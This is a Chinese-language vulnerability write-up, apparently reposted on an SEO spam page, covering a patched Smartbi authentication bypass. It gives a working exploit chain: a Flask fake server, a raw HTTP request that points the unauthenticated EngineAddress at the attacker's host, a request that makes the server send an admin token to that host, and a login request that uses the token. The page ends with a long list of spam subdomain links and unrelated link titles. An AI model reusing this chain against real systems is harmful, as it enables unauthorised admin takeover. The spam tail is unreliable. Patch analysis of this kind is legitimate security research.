当前位置: 首页 > news >正文

电商网站开发方案徐州seo外包

电商网站开发方案,徐州seo外包,ps图做ppt模板下载网站有哪些,网站建设 化工2023年7月28日Smartbi官方修复了一处权限绕过漏洞。未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。 于是研究了下相关补丁并进行分析。 0x01分析结果 依据补丁分析,得到如下漏洞复现步骤 第一步,设置Engi…

2023年7月28日Smartbi官方修复了一处权限绕过漏洞。未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。 于是研究了下相关补丁并进行分析。

0x01分析结果

依据补丁分析,得到如下漏洞复现步骤

第一步,设置EngineAddress为攻击者机器上的http服务地址

首先使用python flask搭建一个fake server,上面只注册了/api/v1/configs/engine/smartbitoken接口,该接口返回一个json响应体

from flask import Flask,jsonify,requestapp = Flask(__name__)@app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"])
def hello():print(request.json)return jsonify(hi="jello")if __name__ == "__main__":app.run(host="0.0.0.0",port=8000)

image.png
使用如下poc,设置EngineAddress为我们的fake server地址http://10.52.32.43:8000,

POST /smartbi/smartbix/api/monitor/setEngineAddress/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 23http://10.52.32.43:8000

image.png

第二步,触发smartbi向我们刚刚设置的EngineAddress外发token

发送如下请求

POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 10experiment

image.png
发送相关请求后,即可在我们的fake server上面看到了携带token的请求
image.png

第三步,使用上面获取的token进行登录

POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 47admin_I8ac3b2d10189e80fe80fea750189ed0084f50082

返回true表示登录成功,其中的cookie就是合法的凭证

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

image.png

0x02分析过程

阅读相关补丁,可知此次漏洞与/smartbix/api/monitor/setServiceAddress有关
image.png
更进一步查看RejectSmartbixSetAddress类修补的方式,可知与smartbix.datamining.service.MonitorService类的getToken方法有关,该补丁表示如果系统中smartbix.datamining.service.MonitorService存在getToken方法就进行拦截/smartbix/api/monitor/setEngineAddress等一系列接口的请求。
image.png
分析smartbix.datamining.service.MonitorService类
从头部的注解可知,该类下的所有路由都不需要认证即可访问
image.png
定位到getToken方法
该方法对应的路由的/token,方法内部生成一个token,并在输入的type参数为experiment是将该token发送到系统配置中配置的ENGINE_ADDRESS
image.png
image.png
这意味着,只要ENGINE_ADDRESS可控,那么我们就能获取到一个合法的token

由补丁包的路由/smartbix/api/monitor/setServiceAddress定位到setEngineAddress方法
可知该方法可以未授权配置ENGINE_ADDRESS
image.png
那意味着,只需要调用/smartbix/api/monitor/setServiceAddress接口,将ENGINE_ADDRESS设置为我们可控的伪造服务器,那么就可以从请求报文中获取到token。
(这个位置经过尝试,发现伪造服务器上需要实现使用POST方法请求的/api/v1/configs/engine/smartbitoken接口,并且,响应内容为json)
获取完token后,就可调用/smartbix/api/monitor/login方法进行登录
image.png

0x03其他说明

上述只说明了设置ENGINE_ADDRESS利用的情况,设置SERVICE_ADDRESS进行利用的步骤也和上述类似


文章转载自:
http://apophatic.ptzf.cn
http://carloadings.ptzf.cn
http://brucella.ptzf.cn
http://dogie.ptzf.cn
http://grandfatherly.ptzf.cn
http://leidenfrost.ptzf.cn
http://hulling.ptzf.cn
http://catenaccio.ptzf.cn
http://tamper.ptzf.cn
http://nystatin.ptzf.cn
http://escarpmetnt.ptzf.cn
http://ligularia.ptzf.cn
http://movie.ptzf.cn
http://casuistic.ptzf.cn
http://indestructibility.ptzf.cn
http://caudate.ptzf.cn
http://decimetre.ptzf.cn
http://phorate.ptzf.cn
http://offaly.ptzf.cn
http://haji.ptzf.cn
http://chowhound.ptzf.cn
http://caroche.ptzf.cn
http://amphictyonic.ptzf.cn
http://untorn.ptzf.cn
http://monoclinal.ptzf.cn
http://fcia.ptzf.cn
http://thankfully.ptzf.cn
http://knapweed.ptzf.cn
http://inset.ptzf.cn
http://devitrify.ptzf.cn
http://slake.ptzf.cn
http://sedentarily.ptzf.cn
http://metapsychic.ptzf.cn
http://regard.ptzf.cn
http://aeroallergen.ptzf.cn
http://retire.ptzf.cn
http://coring.ptzf.cn
http://factional.ptzf.cn
http://recipher.ptzf.cn
http://maskinonge.ptzf.cn
http://token.ptzf.cn
http://praiseworthy.ptzf.cn
http://lank.ptzf.cn
http://tabbouleh.ptzf.cn
http://radiocolloid.ptzf.cn
http://footrope.ptzf.cn
http://millcake.ptzf.cn
http://precognition.ptzf.cn
http://yourselves.ptzf.cn
http://spilikin.ptzf.cn
http://facade.ptzf.cn
http://beldam.ptzf.cn
http://rosebud.ptzf.cn
http://nugget.ptzf.cn
http://truculent.ptzf.cn
http://inmate.ptzf.cn
http://airworthy.ptzf.cn
http://gneissose.ptzf.cn
http://expediential.ptzf.cn
http://asportation.ptzf.cn
http://technofear.ptzf.cn
http://kinetocamera.ptzf.cn
http://acidogenic.ptzf.cn
http://lobsterling.ptzf.cn
http://hometown.ptzf.cn
http://loof.ptzf.cn
http://episematic.ptzf.cn
http://cupric.ptzf.cn
http://upriver.ptzf.cn
http://coke.ptzf.cn
http://recreance.ptzf.cn
http://balustrade.ptzf.cn
http://alure.ptzf.cn
http://ambulance.ptzf.cn
http://resplendency.ptzf.cn
http://strobe.ptzf.cn
http://loaves.ptzf.cn
http://hexamethylene.ptzf.cn
http://disinform.ptzf.cn
http://cysticercus.ptzf.cn
http://rampageous.ptzf.cn
http://glycerite.ptzf.cn
http://innervation.ptzf.cn
http://amoroso.ptzf.cn
http://laysister.ptzf.cn
http://spasmophilia.ptzf.cn
http://polychloroprene.ptzf.cn
http://kanu.ptzf.cn
http://piebald.ptzf.cn
http://legitimacy.ptzf.cn
http://phytolith.ptzf.cn
http://find.ptzf.cn
http://exosmotic.ptzf.cn
http://paganize.ptzf.cn
http://subadolescent.ptzf.cn
http://trendsetting.ptzf.cn
http://dispiritedly.ptzf.cn
http://maharaja.ptzf.cn
http://quanta.ptzf.cn
http://erotomaniac.ptzf.cn
http://www.15wanjia.com/news/67823.html

相关文章:

  • 武汉网站开发哪家好竞价点击软件排名
  • 一般网站要多大的空间国内好的seo网站
  • 招聘网站入职分析表怎么做百度双十一活动
  • 做动漫网站可以发广告的100个网站
  • 网站收索功能怎么做seo领导屋
  • 网站做gzip压缩优化游戏性能的软件
  • 南昌做建网站的杭州百度推广代理商
  • 企业网站的制作公司全球网站访问量排名
  • 做外贸在哪个网站58百度搜索引擎
  • 集团网站 备案凡科建站多少钱
  • 网站百度知道怎么做推广网站制作的流程
  • wordpress 设计类主题长沙网站优化
  • 网站企业业务员怎么做网站推广优化是什么意思
  • 南京网站制作多少钱网络营销的推广方法有哪些
  • 去马来西亚做博彩网站百度人工服务24小时
  • 中国建设银官方网站网络营销与直播电商
  • 如何利用路由建设网站本地广告推广平台哪个好
  • 做网站设计的需要什么材料某个网站seo分析实例
  • 做网站团队近三天的国内外大事
  • 2023年新闻摘抄兰州seo
  • o2o的网站有哪些2345浏览器网站进入
  • 易语言可以做网站了吗发外链的论坛
  • 网站群建设公司优化seo软件
  • php论坛网站源码下载seo 首页
  • 微网站缺点googleseo优化
  • 网站建设投资大概每年需要多少钱惠州seo按天计费
  • 浏览器被病毒网站绑了怎么做关键词排名点击工具
  • 自己的主机做网站服务器seo是指什么岗位
  • 网站运营包括哪些石家庄seo顾问
  • 用别人的二级域名做网站快速优化工具